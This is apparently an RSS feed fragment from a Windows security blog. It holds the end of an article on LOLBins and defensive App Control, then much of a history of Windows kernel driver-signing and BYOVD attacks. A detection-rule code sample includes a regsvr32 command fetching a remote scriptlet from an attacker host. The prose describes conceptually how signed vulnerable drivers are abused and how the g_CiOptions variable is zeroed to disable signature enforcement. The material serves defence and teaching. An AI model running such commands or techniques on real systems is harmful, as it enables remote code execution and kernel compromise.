  { name: &apos;Workflow.Compiler chain&apos;,parent: /.*/i, child: /(microsoft\.workflow\.compiler|wfc)\.exe$/i, args: /.+/i },
  { name: &apos;Rundll32 COM&apos;,           parent: /(cmd|powershell|wscript|cscript|winword|excel)\.exe$/i, child: /rundll32\.exe$/i, args: /(javascript:|url\.dll,fileprotocolhandler|shell32\.dll,shellexec_rundll)/i }
];&lt;/p&gt;
&lt;p&gt;function evaluate(event) {
  const matches = [];
  for (const r of RULES) {
    if (r.parent.test(event.parentImage || &apos;&apos;) &amp;amp;&amp;amp;
        r.child.test(event.image || &apos;&apos;) &amp;amp;&amp;amp;
        r.args.test(event.commandLine || &apos;&apos;)) {
      matches.push(r.name);
    }
  }
  return matches;
}&lt;/p&gt;
&lt;p&gt;const event = {
  parentImage: &apos;C:\\Windows\\System32\\cmd.exe&apos;,
  image:       &apos;C:\\Windows\\System32\\regsvr32.exe&apos;,
  commandLine: &apos;regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll&apos;
};
console.log(&apos;Matched rules:&apos;, evaluate(event));
`}&lt;/p&gt;

For organizations operating under FedRAMP High or CMMC L3, the App Control for Business deployment is not optional. The controls that map to NIST SP 800-53 Rev. 5 controls AC-3 (access enforcement) and CM-7 (least functionality) [@nist-800-53-r5] effectively require a kernel-enforced application allow-list, and the Recommended Block Rules deny list is the published Microsoft baseline. The deployment work in step 1 of the playbook is therefore a compliance prerequisite as well as a security control.

After deploying an App Control policy in audit mode, validate that the policy is loaded with `CiTool.exe -lp` on Windows 11 22H2+. Audit-mode block events appear in the *Microsoft-Windows-CodeIntegrity/Operational* event log as Event ID 3076 (would-block) and *AppLocker/MSI and Script* event log as Event ID 8003 (audit). Run a known-benign workflow for two weeks and review the would-block events before flipping the policy to enforce.
&lt;p&gt;The playbook covers the controls Microsoft and the community ship today. The final pass is the set of misconceptions that survive even after the playbook: the FAQ.&lt;/p&gt;
&lt;h2&gt;12. Frequently Asked Questions and Closing&lt;/h2&gt;
&lt;p&gt;The structural argument leaves a small number of recurring questions that even an experienced Windows defender asks the first time they read the LOLBAS catalog end to end. The seven below are the ones that matter most.&lt;/p&gt;

No. An Authenticode signature is immutable per signed file: once a file is signed and shipped, the signature travels with the bytes forever. Revocation does not work by removing the signature. It works by adding the binary to a deny list that the loader checks alongside the signature. That deny list is the App Control Recommended Block Rules XML [@ms-bypass-rules]. There is no global mechanism by which Microsoft can retroactively &quot;unsign&quot; a binary that already exists on customer disks, because the binary&apos;s bytes have not changed.

Because PowerShell Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103) [@ms-ps-logging] together constitute Microsoft&apos;s specific answer for PowerShell. The strategy is *instrument deeply, do not deny*. For the rest of the LOLBin catalog the strategy is *deny when feasible, detect otherwise*. The choice is made one binary at a time; no published Microsoft criterion explains when each applies. PowerShell is the only Microsoft-shipped example of the *instrument* strategy applied at full depth.

Partially, and only on eligible endpoints (clean-installed Windows 11 22H2 or later, with sufficient device telemetry to keep SAC in *enforce* mode). SAC explicitly delegates LOLBin handling to the App Control Recommended Block Rules deny list -- the Microsoft Learn SAC overview page contains the verbatim sentence pointing administrators at *Application Control for Windows* for the LOLBin list [@ms-sac-overview]. SAC&apos;s enforcement model is reputation-and-AI, not deny-list. It silently disables itself on insufficient signal. Until recently the only fix was to reinstall Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support], but the silent disable itself remains (see Section 10).

Yes. As of May 26, 2026, the repository is receiving regular pull requests, has 8,567 stars and 1,135 forks per the GitHub API [@lolbas-org-api], and the editorial maintainers (Moe, Bayne, Richard, Spehn, Somerville, Beukema, Hernandez) are actively reviewing submissions. The catalog has grown from 130 binaries at the original 2018 founding to 207 in the May 2026 enumeration. New entries arrive every few weeks.

Yes. The LOLDrivers project at `loldrivers.io` [@loldrivers] catalogs vulnerable signed kernel drivers -- the driver-class analogue of LOLBAS. Microsoft&apos;s own Vulnerable Driver Blocklist is enabled by default when HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. GTFOBins at `gtfobins.github.io` [@gtfobins] is the Unix analogue, cataloging vendor-shipped utilities on Linux and BSD with attacker-useful side effects. The three projects share the same conceptual move applied to different trust surfaces.

No. The LOLBAS README itself attributes the project&apos;s foundational talk to Oddvar Moe&apos;s *#LOLBins -- Nothing to LOL about!* at DerbyCon 8 in October 2018 [@youtube-moe-lolbins] [@derbycon8-moe]. The 2017 BlueHat IL talk by Matt Graeber and Casey Smith [@bluehat-il-mirror] is one earlier intellectual ancestor, and the canonical *misplaced trust* framing was named the following year in Matt Graeber and Lee Christensen&apos;s *Subverting Trust in Windows* at TROOPERS 2018 [@specterops-subverting-trust]; both predate the LOLBAS catalog and neither is the project&apos;s founding event. Several secondary sources conflate the talks; the primary attribution chain is the LOLBAS README.

Merge the App Control Recommended Block Rules XML into a managed App Control base policy and roll it out in audit mode for two to four weeks before flipping to enforce [@ms-bypass-rules]. The audit-mode telemetry surfaces the legitimate-but-rare workflows that would break under enforce; the enforce-mode policy then denies roughly 40 of the highest-impact LOLBins by default. Given the Cybereason Q3 2025 finding that 17 percent of investigations involved LOLBins [@cybereason-q3-2025], the effort pays for itself within the first quarter after deployment.
&lt;h3&gt;Closing&lt;/h3&gt;
&lt;p&gt;Every Windows binary that ships with a Microsoft signature is a LOLBin candidate, because the &lt;em&gt;signature&lt;/em&gt; trust axis is orthogonal to the &lt;em&gt;behavior&lt;/em&gt; trust axis. That gap was designed into Authenticode in 1996, inherited by AppLocker in 2009, made unignorable by Casey Smith&apos;s Squiblydoo in 2016, catalogued by Oddvar Moe and the LOLBAS maintainers starting in 2018, and partially fenced off by Microsoft&apos;s App Control Recommended Block Rules between 2017 and 2024. The class will be there when the next reader of this article shows up. Closing it would require either rebuilding the Windows system-administration model or attaching behavioral capability descriptions to every signed Microsoft binary on disk. Microsoft has published no roadmap for either, and the installed base could not absorb either without breaking decades of administrative tooling.&lt;/p&gt;
&lt;p&gt;The honest defender&apos;s posture is therefore not to ask &lt;em&gt;when will Microsoft fix this?&lt;/em&gt; but &lt;em&gt;how thin can the layered SOTA make the residual?&lt;/em&gt;. The answer in 2026 is &lt;em&gt;thinner than it was in 2016, but the gap between LOLBAS and the Recommended Block Rules (Section 8) is not going to close&lt;/em&gt;. Subscribe to the LOLBAS repository [@lolbas-github]. Bookmark the Recommended Block Rules page [@ms-bypass-rules]. Treat the next entry the catalog ships as a detection-engineering task to schedule, not a Microsoft bug to wait on.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;living-off-the-land-on-windows&quot; keyTerms={[
  { term: &quot;LOLBin&quot;, definition: &quot;Living-Off-the-Land Binary: a Microsoft-signed Windows executable with attacker-useful primitives, catalogued in LOLBAS.&quot; },
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s 1996 code-signing scheme. Answers who signed a binary; does not characterize runtime behavior.&quot; },
  { term: &quot;AppLocker&quot;, definition: &quot;Windows 7 application-allow-list with publisher/path/hash rules. Default rule admits Microsoft-signed binaries; superseded by App Control for Business.&quot; },
  { term: &quot;App Control for Business&quot;, definition: &quot;Kernel-mode application-control system formerly known as WDAC. Ships with Windows 10 1709+.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Windows 11 22H2+ reputation-based application gate. Silently disables itself on insufficient signal; defers LOLBins to the App Control deny list.&quot; },
  { term: &quot;Recommended Block Rules&quot;, definition: &quot;Microsoft-curated XML deny list of ~40 binaries shipped via Microsoft Learn. The shipping deny-list mechanism for individual LOLBins.&quot; },
  { term: &quot;Squiblydoo&quot;, definition: &quot;Casey Smith&apos;s April 19, 2016 regsvr32 abuse using the /i:URL switch to fetch and execute a remote .sct scriptlet. Tracked as MITRE T1218.010.&quot; },
  { term: &quot;AMSI&quot;, definition: &quot;Antimalware Scan Interface (Windows 10 1507+). In-process script-content inspection for PowerShell, JScript, VBScript, and .NET.&quot; },
  { term: &quot;Constrained Language Mode&quot;, definition: &quot;A PowerShell execution mode that restricts the language surface to a safe subset. Enforced automatically when App Control is in enforce on the script file&apos;s location.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-protected Code Integrity. Hardware-virtualization-enforced kernel CI; activates the Microsoft Vulnerable Driver Blocklist by default.&quot; },
  { term: &quot;MITRE T1218&quot;, definition: &quot;System Binary Proxy Execution. The MITRE ATT&amp;amp;CK technique node for the LOLBin family; sub-techniques include .004 InstallUtil, .005 Mshta, .010 Regsvr32, .011 Rundll32.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>lolbins</category><category>app-control</category><category>authenticode</category><category>detection-engineering</category><category>wdac</category><category>smart-app-control</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>The Driver That Was Signed and the Driver That Won&apos;t Load: Windows Kernel Code Integrity, 2006-2026</title><link>https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/</link><guid isPermaLink="true">https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/</guid><description>A history of Windows kernel code-signing -- KMCS, BYOVD, HVCI, the Vulnerable Driver Block List, and why a 2026 Windows kernel uses five gates to decide what loads.</description><pubDate>Thu, 14 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Windows ships a list of Microsoft-signed drivers it refuses to load.** That list -- `DriverSiPolicy.p7b` -- exists because every previous generation of kernel-driver trust assumed a signed driver was a safe driver, and a twenty-year run of Bring-Your-Own-Vulnerable-Driver attacks (Stuxnet, Capcom.sys, RTCore64.sys, gdrv.sys) proved that assumption wrong. The 2026 default-on stack -- KMCS, the block list, HVCI in VTL1, Smart App Control, and Defender ASR coverage -- is five gates doing what one ideal gate cannot do: name the specific weakness, not just the publisher. The architectural gap that motivates the stack is undecidable in principle and will not close.
&lt;h2&gt;1. The Driver That Loaded&lt;/h2&gt;
&lt;p&gt;On 13 September 2016, the researcher Matt Nelson posted on his &lt;em&gt;enigma0x3&lt;/em&gt; blog that a Capcom-published kernel driver, &lt;code&gt;Capcom.sys&lt;/code&gt;, exposed IOCTL &lt;code&gt;0xAA013044&lt;/code&gt; and used it to execute a user-supplied function pointer in kernel mode, with SMEP disabled along the way [@gh-tandasat-capcom] [@gh-tandasat-capcom]. Within two weeks the technique was operational in Metasploit. Later in September 2016, Capcom pushed the same driver to Street Fighter V&apos;s entire installed base as part of an anti-cheat update; in October 2016, Satoshi Tanda published the canonical standalone exploit on GitHub. Capcom withdrew the SFV driver shortly after, but the bytes were already in the wild.The often-told version of this story compresses three distinct events into one. Matt Nelson&apos;s &lt;em&gt;Let&apos;s Be Bad Guys&lt;/em&gt; post on 13 September 2016 disclosed the IOCTL number and the function-pointer-execution primitive. OJ Reeves opened the canonical Metasploit pull request, rapid7/metasploit-framework#7363 [@gh-msf-pr-7363], shortly after; the PR was created on 27 September 2016 and merged the following day [@gh-msf-pr-7363]. Satoshi Tanda&apos;s &lt;code&gt;tandasat/ExploitCapcom&lt;/code&gt; repository was first published in October 2016 and is the canonical standalone PoC, and the artefact this article cites for the IOCTL number and SHA-1 hash.&lt;/p&gt;
&lt;p&gt;The driver was properly Authenticode-signed. It chained to a Microsoft-recognised root. It loaded cleanly on every default-configured Windows 7, 8.1, and 10 machine in the world.&lt;/p&gt;
&lt;p&gt;That is the puzzle this article exists to answer. How does an operating system whose entire kernel-loading policy is &lt;em&gt;was this binary signed?&lt;/em&gt; answer a vulnerability whose only failure mode is &lt;em&gt;yes, by a real publisher, doing exactly what the signature says it does&lt;/em&gt;?&lt;/p&gt;
&lt;h3&gt;A class, not an incident&lt;/h3&gt;
&lt;p&gt;Capcom.sys was not the first signed kernel driver with a primitive IOCTL, and it would not be the last. The pattern recurs across two decades and is the through-line of this article. The catalogue includes Micro-Star&apos;s &lt;code&gt;RTCore64.sys&lt;/code&gt; (the kernel component of MSI Afterburner), Gigabyte&apos;s &lt;code&gt;gdrv.sys&lt;/code&gt;, and the &lt;code&gt;KProcessHacker&lt;/code&gt; driver shipped with Process Hacker. Section 4 walks through each one with its primary disclosure record.&lt;/p&gt;
&lt;p&gt;The attack class has a name. &lt;em&gt;Bring Your Own Vulnerable Driver&lt;/em&gt;, or BYOVD. The adversary does not need to find a kernel zero-day. They need to find one signed driver, anywhere, whose interface is unsafe by design, and to ship it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Windows in 2026 ships a curated list of Microsoft-signed drivers it refuses to load. Understanding that list is understanding why every previous attempt to make kernel-mode trust mean &lt;em&gt;safety&lt;/em&gt; instead of just &lt;em&gt;identity&lt;/em&gt; eventually broke.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The current Windows 11 22H2 client honours &lt;code&gt;%windir%\system32\CodeIntegrity\DriverSiPolicy.p7b&lt;/code&gt;, a Microsoft-signed deny list enforced by a hypervisor-isolated code-integrity engine sitting in Virtual Trust Level 1. The same engine refuses to map any kernel page that is simultaneously writable and executable. Both behaviours are documented on Microsoft Learn&apos;s Memory Integrity page [@ms-hvci-vbs] and the Microsoft-recommended driver block rules page [@ms-driver-block-rules] [@ms-hvci-vbs] [@ms-driver-block-rules]. Neither existed in 2006.&lt;/p&gt;
&lt;p&gt;To understand why Windows now refuses to load drivers it once asked Microsoft to sign, we need to go back thirty years to the moment Windows first asked a publisher to sign anything at all.&lt;/p&gt;
&lt;h2&gt;2. Advisory Trust: 1996 to 2005&lt;/h2&gt;
&lt;p&gt;For its first decade, the Windows driver signing policy was a polite recommendation.&lt;/p&gt;
&lt;p&gt;Microsoft shipped its first user-mode code-signing primitive, &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode&lt;/a&gt;, in 1996, packaged for developers in the same tool kit that gave us &lt;code&gt;SignTool&lt;/code&gt;, &lt;code&gt;MakeCat&lt;/code&gt;, and &lt;code&gt;Inf2Cat&lt;/code&gt; -- the suite Microsoft Learn still documents under &quot;Cryptography tools&quot; [@ms-crypto-tools] [@ms-crypto-tools]. Authenticode wrapped a PKCS#7 signature around the SHA-1 (and later SHA-256) hash of a PE image and let a recipient walk the signer&apos;s certificate chain to a trusted root. It was the first answer to the question &lt;em&gt;who shipped this binary?&lt;/em&gt; It was, deliberately, never an answer to &lt;em&gt;is this binary safe?&lt;/em&gt;&lt;/p&gt;

Microsoft&apos;s PKCS#7-based code-signing format for Windows binaries. Authenticode attests to the publisher&apos;s identity by binding the binary&apos;s hash to a certificate chain anchored at a trusted root. It does not analyse the program&apos;s behaviour.
&lt;p&gt;For drivers, the user-mode signing primitive was paired with a separate quality program. The Windows Hardware Quality Labs programme, documented today via the Hardware Lab Kit [@ms-hlk], tested third-party drivers against a Microsoft-curated compatibility suite and rewarded passing drivers with a counter-signature, eventually surfaced as the &quot;Designed for Windows&quot; or &quot;Certified for Windows&quot; mark [@ms-hlk]. The badge was operationally meaningful for OEM badging and Windows Update distribution. It was not a load-time gate. An unsigned &lt;code&gt;.sys&lt;/code&gt; file dropped on disk by a setup script still loaded.&lt;/p&gt;

Microsoft&apos;s compatibility-test programme for third-party drivers. A driver that passes the HLK test suite receives a Microsoft counter-signature and is eligible for OEM and Windows Update distribution. The programme produces a quality signal, not a load-time enforcement decision.
&lt;h3&gt;The SetupAPI prompt&lt;/h3&gt;
&lt;p&gt;On 32-bit Windows, the gate the user actually saw was the SetupAPI driver-installation prompt. The administrator could set the system to &lt;em&gt;Ignore&lt;/em&gt;, &lt;em&gt;Warn&lt;/em&gt;, or &lt;em&gt;Block&lt;/em&gt; unsigned drivers; the default was &lt;em&gt;Warn&lt;/em&gt;. &lt;em&gt;Warn&lt;/em&gt; meant a click-through dialog at install time. An administrator who clicked &lt;em&gt;Install this driver anyway&lt;/em&gt; loaded the unsigned driver, no further questions asked. The structural truth is the one Microsoft&apos;s modern KMCS policy page [@ms-kmcs-policy] acknowledges by contrast: under advisory policy, the prompt is the policy, and a prompt is exactly as strong as the user clicking past it [@ms-kmcs-policy].&lt;/p&gt;
&lt;p&gt;The Sony BMG XCP incident in October 2005 made the structural weakness concrete. The XCP copy-protection software, shipped on retail audio CDs, autorun-installed an unsigned kernel-mode filter driver. The driver hid any file, registry key, or process whose name began with the string &lt;code&gt;$sys$&lt;/code&gt; -- a textbook rootkit by capability if not by intent. The driver loaded after an administrator clicked through the warning prompt, exactly as advisory policy allowed. The pattern is described well in Wikipedia&apos;s code-signing article [@wp-code-signing] [@wp-code-signing].The Sony BMG XCP rootkit triggered class-action lawsuits, FTC settlements, and an industry-wide reconsideration of what &quot;the user clicked OK&quot; actually authorises. From a kernel-trust perspective, the lesson is narrower: any policy that ends in a dismissible dialog has the same threat model as no policy at all, against an attacker who can show the user a dialog.&lt;/p&gt;
&lt;p&gt;The structural takeaway from 1996 through 2005 is the one the next decade tried to repair. When the signing policy is advisory, an attacker who has -- or can socially engineer -- administrator privilege only needs to dismiss a prompt to load a kernel driver. The signing primitive worked. The policy around the primitive did not.&lt;/p&gt;
&lt;p&gt;If the prompt is the only thing between an attacker and ring zero, the kernel itself has to take over. And on a brand-new x64 architecture, Microsoft could break backward compatibility to make that happen.&lt;/p&gt;
&lt;h2&gt;3. KMCS: The Vista x64 Revolution (2006-2016)&lt;/h2&gt;
&lt;p&gt;In November 2006, Vista x64 made a decision that x86 never could: it refused to load any unsigned kernel driver, full stop.&lt;/p&gt;
&lt;p&gt;The mechanism was Kernel-Mode Code Signing, or KMCS. The previous-versions Microsoft Learn page on Vista-era driver signing [@learn-microsoft-com-design-dn653567vvs85]) records the policy [@ms-dn653567]. At the point where the I/O manager called &lt;code&gt;IoLoadDriver&lt;/code&gt;, the Code Integrity module (&lt;code&gt;ci.dll&lt;/code&gt;) intercepted the load, extracted the Authenticode signature embedded in the PE image or attached via a published catalogue, walked the certificate chain, and refused to map the image if the chain did not terminate at a Microsoft-trusted root. There was no SetupAPI prompt to dismiss. If the kernel refused, the kernel refused. The decision lived below the user&apos;s reach.&lt;/p&gt;

The Vista-era mandatory load-time signature policy on 64-bit Windows. Before mapping a kernel driver&apos;s PE image, the Code Integrity module verifies that the image&apos;s Authenticode signature chains to a Microsoft-trusted root. Drivers that fail the check are refused at load time, not at install time.
&lt;p&gt;x86 kept the advisory policy. Microsoft could not break compatibility with two decades of unsigned drivers on the dominant platform. But x64 was a young architecture with a few hundred drivers in the field, and Microsoft used that moment to flip the default. The structural shift was real: kernel-driver trust on x64 became a property of the binary, decided in the kernel, against a fixed set of trusted roots.&lt;/p&gt;
&lt;h3&gt;Cross-certificates: opening the gate to the world&lt;/h3&gt;
&lt;p&gt;A Microsoft-trusted root alone would have meant Microsoft signs every driver, which Microsoft did not want. Instead Microsoft cross-certified a small set of commercial code-signing certificate authorities -- including VeriSign, DigiCert, Entrust, GlobalSign, GoDaddy, and several smaller successors enumerated on the historical cross-certificate list (2020 archive) [@ms-cross-cert-archive] -- so that a publisher could buy a code-signing certificate from a commercial CA, sign their driver, and have the chain still terminate at a Microsoft-recognised root [@ms-cross-cert-archive]. The architecture is documented on the cross-certificates for kernel-mode code signing page [@ms-cross-cert], which now opens with a sentence that did not exist in 2006: &quot;Cross-signing is no longer accepted for driver signing&quot; [@ms-cross-cert]. We will come back to that.&lt;/p&gt;

sequenceDiagram
    participant IO as I/O Manager
    participant CI as Code Integrity (ci.dll)
    participant CA as Cross-certified CA chain
    participant Root as Microsoft trusted root&lt;pre&gt;&lt;code&gt;IO-&amp;gt;&amp;gt;CI: Map PE for kernel driver
CI-&amp;gt;&amp;gt;CI: Extract Authenticode signature (PKCS#7)
CI-&amp;gt;&amp;gt;CA: Walk certificate chain
CA-&amp;gt;&amp;gt;Root: Anchor at Microsoft cross-cert
alt Chain valid and not revoked
    CI-&amp;gt;&amp;gt;IO: Allow section creation
    IO-&amp;gt;&amp;gt;IO: Load driver into kernel address space
else Chain invalid or unsigned
    CI-&amp;gt;&amp;gt;IO: STATUS_INVALID_IMAGE_HASH
    IO-&amp;gt;&amp;gt;IO: Abort load
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Documented escape hatches&lt;/h3&gt;
&lt;p&gt;KMCS shipped with three documented bypasses for developers and special cases, all enumerated on the KMCS policy page [@ms-kmcs-policy] [@ms-kmcs-policy]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bcdedit /set TESTSIGNING ON&lt;/code&gt; enables test-signing mode. The kernel will load drivers signed with self-issued test certificates. The cost is a desktop watermark.&lt;/li&gt;
&lt;li&gt;The F8 advanced-boot option &lt;em&gt;Disable Driver Signature Enforcement&lt;/em&gt; turns off KMCS for one boot.&lt;/li&gt;
&lt;li&gt;The legacy &lt;code&gt;nointegritychecks&lt;/code&gt; BCD flag disables enforcement entirely, but is rejected on systems where &lt;a href=&quot;https://paragmali.com/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/&quot; rel=&quot;noopener&quot;&gt;Secure Boot&lt;/a&gt; is on.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each of these was a development workflow concession. Each of them, with admin privileges and a willingness to reboot, also serves as a kernel-driver loading path for an attacker who has already escalated. The policy holds against unprivileged adversaries. Against an attacker who already runs as administrator, the policy was already, by 2010, defending against a different threat than the one people thought it was defending against.Microsoft has been formally clear about this since at least 2016: the administrator-to-kernel transition is not a security boundary in the MSRC servicing-criteria sense. Elastic Security Labs writes the position out explicitly in their analysis of vulnerable-driver mitigations [@elastic-admin] [@elastic-admin]. The historical irony is that Vista x64 KMCS was widely read at the time as a defence against admin-level adversaries; it was actually a defence against unprivileged or pre-admin ones.&lt;/p&gt;
&lt;h3&gt;PatchGuard: the parallel runtime defence&lt;/h3&gt;
&lt;p&gt;KMCS was a load-time check. The runtime parallel arrived in 2005 with Kernel Patch Protection, informally PatchGuard or KPP, which the Wikipedia entry on Kernel Patch Protection [@wp-kpp] describes as a feature of 64-bit Windows that prevents patching of critical kernel structures [@wp-kpp]. KPP polls a set of integrity-critical kernel objects -- the System Service Descriptor Table, IDT, GDT, certain function prologues -- and triggers a bug check if it detects tampering. It is the watchdog against runtime modification of the kernel by code that has already loaded; KMCS gates what loads in the first place.&lt;/p&gt;
&lt;p&gt;What this fixed: the unsigned-driver-loading path closed on 64-bit Windows in production mode. Kernel rootkits of the early 2000s -- FU, Mailbot, Rustock, and their contemporaries, widely documented in the security-research literature of the era -- could no longer ship as bare &lt;code&gt;.sys&lt;/code&gt; files an admin script dropped on disk. The structural class of &quot;unsigned kernel rootkit&quot; effectively died on x64.&lt;/p&gt;
&lt;p&gt;But the day Vista x64 shipped, two new attack surfaces opened up. The first one Stuxnet found four years later. The second one nobody had a name for yet.&lt;/p&gt;
&lt;h2&gt;4. Stuxnet, BYOVD, and the Two Things Vista Did Not Fix&lt;/h2&gt;
&lt;p&gt;On 17 June 2010, researchers in Belarus and Iran identified Stuxnet, a worm targeting supervisory control and data acquisition systems [@wp-stuxnet] used in industrial-control environments [@wp-stuxnet]. Two of its drivers carried perfectly valid Authenticode signatures.&lt;/p&gt;
&lt;p&gt;The signatures were genuine. The certificates were not. Stuxnet had been signed with private keys stolen from semiconductor vendors whose code-signing certs chained to legitimate cross-certified roots. KMCS verified the chain, found it good, and let the drivers load.Stuxnet is widely reported to have used stolen signing keys from two real semiconductor vendors. The malware-analysis literature is consistent on the pattern; specific cert-holder attributions are reproduced in many places but the primary advisory record we cite here is the Wikipedia Stuxnet article [@wp-stuxnet] and the general framing in the Wikipedia code-signing article [@wp-code-signing] [@wp-stuxnet] [@wp-code-signing]. The reactive answer was certificate revocation, but revocation propagates through Windows on a schedule, not instantly, and the cached chain on millions of machines remained valid for days.&lt;/p&gt;
&lt;p&gt;That was the first failure mode KMCS could not block by design. The signature primitive answers &lt;em&gt;was this signed by a key that chains to a trusted root?&lt;/em&gt; It cannot answer &lt;em&gt;was the key still in the publisher&apos;s control when it signed this?&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;The Capcom.sys reframe&lt;/h3&gt;
&lt;p&gt;The second failure mode arrived publicly in 2016. A Capcom driver shipped via a Street Fighter V update exposed an IOCTL, numbered &lt;code&gt;0xAA013044&lt;/code&gt;, that took a user-supplied function pointer and executed it in kernel mode -- with Supervisor Mode Execution Prevention (SMEP) disabled while it did so. The driver was signed and chained correctly. Satoshi Tanda&apos;s standalone proof of concept at &lt;code&gt;tandasat/ExploitCapcom&lt;/code&gt; [@gh-tandasat-capcom] remains the canonical reference, including the SHA-1 of the binary (&lt;code&gt;c1d5cf8c43e7679b782630e93f5e6420ca1749a7&lt;/code&gt;) [@gh-tandasat-capcom].&lt;/p&gt;
&lt;p&gt;There was nothing for KMCS to catch. The driver did exactly what the signature said it did: ship bytes from a publisher Microsoft could identify. The signature has no opinion about the IOCTL surface.&lt;/p&gt;

A signed driver means only that someone Microsoft can identify shipped this binary. It does not mean the driver lacks a function-pointer IOCTL.
&lt;p&gt;That observation is the first of three reframes in this article and the easiest to underestimate. Up to 2010 the conventional security reading of a Microsoft-rooted Authenticode signature was that the driver had passed a review. After Stuxnet, the reading narrowed to &lt;em&gt;the publisher is identifiable&lt;/em&gt;. After Capcom.sys, it narrowed again to &lt;em&gt;the binary&apos;s identity is verifiable&lt;/em&gt;. None of these readings includes &lt;em&gt;the binary does not have a kernel-write primitive in its IOCTL handler&lt;/em&gt;.&lt;/p&gt;

An attack pattern in which an adversary, having obtained or already holding administrator privileges, installs a signed but design-vulnerable third-party kernel driver and uses its exposed primitives -- arbitrary memory read/write, port I/O, MSR access, or function-pointer dispatch -- to gain ring-zero capability. The signature primitive does not refuse the load because the driver is, on signature alone, legitimate.
&lt;h3&gt;The catalogue grows&lt;/h3&gt;
&lt;p&gt;The BYOVD catalogue accumulated through the 2010s.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RTCore64.sys&lt;/code&gt;, the kernel component of MSI&apos;s Afterburner overclocking utility, exposed read/write access to arbitrary kernel memory, I/O ports, and Model-Specific Registers from user mode. The NVD entry for CVE-2019-16098 [@nvd-cve-2019-16098] is unusually direct: &quot;These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.&quot; [@nvd-cve-2019-16098] The driver became a workhorse for ransomware crews. Sophos&apos;s October 2022 incident analysis of BlackByte&apos;s new variant [@sophos-blackbyte] documents the abuse: BlackByte &quot;abus[ed] a known vulnerability in the legitimate vulnerable driver RTCore64.sys&quot; to disable &quot;a whopping list of over 1,000 drivers on which security products rely to provide protection&quot; [@sophos-blackbyte].&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gdrv.sys&lt;/code&gt;, the Gigabyte APP Center driver, exposed a ring-zero memcpy-equivalent that a local attacker could use to overwrite arbitrary kernel addresses. CVE-2018-19320 [@nvd-cve-2018-19320] is on CISA&apos;s Known Exploited Vulnerabilities catalogue [@nvd-cve-2018-19320]. The RobinHood ransomware abused it during the 2019 Baltimore municipal-government attack -- a connection widely documented by Sophos and CrowdStrike incident-response teams, though absent from the bare NVD record.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;KProcessHacker&lt;/code&gt;, the kernel companion to the Process Hacker administration tool, exposed a process-termination primitive that bypassed even the Protected Process Light (PPL) shielding around antivirus and EDR processes. CrowdStrike&apos;s DoppelPaymer write-up [@cs-doppelpaymer] documents the abuse explicitly: &quot;the hijacking technique ... leverages ProcessHacker&apos;s kernel driver, KProcessHacker, that has been registered under the service name KProcessHacker3 ... terminate processes, including those protected by Protected Process Light (PPL).&quot; [@cs-doppelpaymer]&lt;/p&gt;

sequenceDiagram
    participant Adv as Adversary (admin user mode)
    participant SCM as Service Control Manager
    participant CI as Code Integrity (ci.dll)
    participant Drv as Signed vulnerable driver
    participant K as Kernel state&lt;pre&gt;&lt;code&gt;Adv-&amp;gt;&amp;gt;SCM: Install signed driver as kernel service
SCM-&amp;gt;&amp;gt;CI: Request load
CI-&amp;gt;&amp;gt;CI: Authenticode check passes
CI-&amp;gt;&amp;gt;SCM: Allow
SCM-&amp;gt;&amp;gt;Drv: Load into kernel
Adv-&amp;gt;&amp;gt;Drv: IOCTL with attacker-supplied pointers
Drv-&amp;gt;&amp;gt;K: Write attacker bytes at arbitrary kernel address
K-&amp;gt;&amp;gt;K: Clear EDR notify routine / escalate token
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The third bypass: patching the policy from kernel mode&lt;/h3&gt;
&lt;p&gt;There is a third failure mode that closes the loop. Once an attacker has a signed driver with an arbitrary kernel-write primitive, they can write directly into the in-kernel Code Integrity state. The variable of interest is &lt;code&gt;g_CiOptions&lt;/code&gt;, an integer inside &lt;code&gt;ci.dll&lt;/code&gt; whose bits gate Driver Signature Enforcement. TrustedSec describes the technique cleanly: &quot;this configuration variable has a number of flags that can be set, but typically for bypassing DSE this value is set to 0, completely disabled DSE and allows the attacker to load unsigned drivers just fine.&quot; [@trustedsec-gcioptions] Set &lt;code&gt;g_CiOptions&lt;/code&gt; to zero and the subsequent driver loads do not need signatures at all. The signed driver, in effect, is a one-shot key that opens the gate for any unsigned driver behind it. The pattern recurs through the early 2020s; specific malware-family attributions remain research-folklore, but the technique class is well attested in TrustedSec&apos;s account.&lt;/p&gt;
&lt;p&gt;The structural takeaway: KMCS verifies &lt;em&gt;who signed&lt;/em&gt;, never &lt;em&gt;what was signed&lt;/em&gt;. Once an attacker has a signed driver with a write primitive, they have ring zero. Stricter signing closes the front door for new malicious drivers. Every commercial-CA cert that was ever issued is still loadable. The policy decision has to move out of the attacker&apos;s reach. And the kernel itself has to stop being the thing that decides.&lt;/p&gt;
&lt;h2&gt;5. Microsoft as the Only Signer (2016-2024)&lt;/h2&gt;
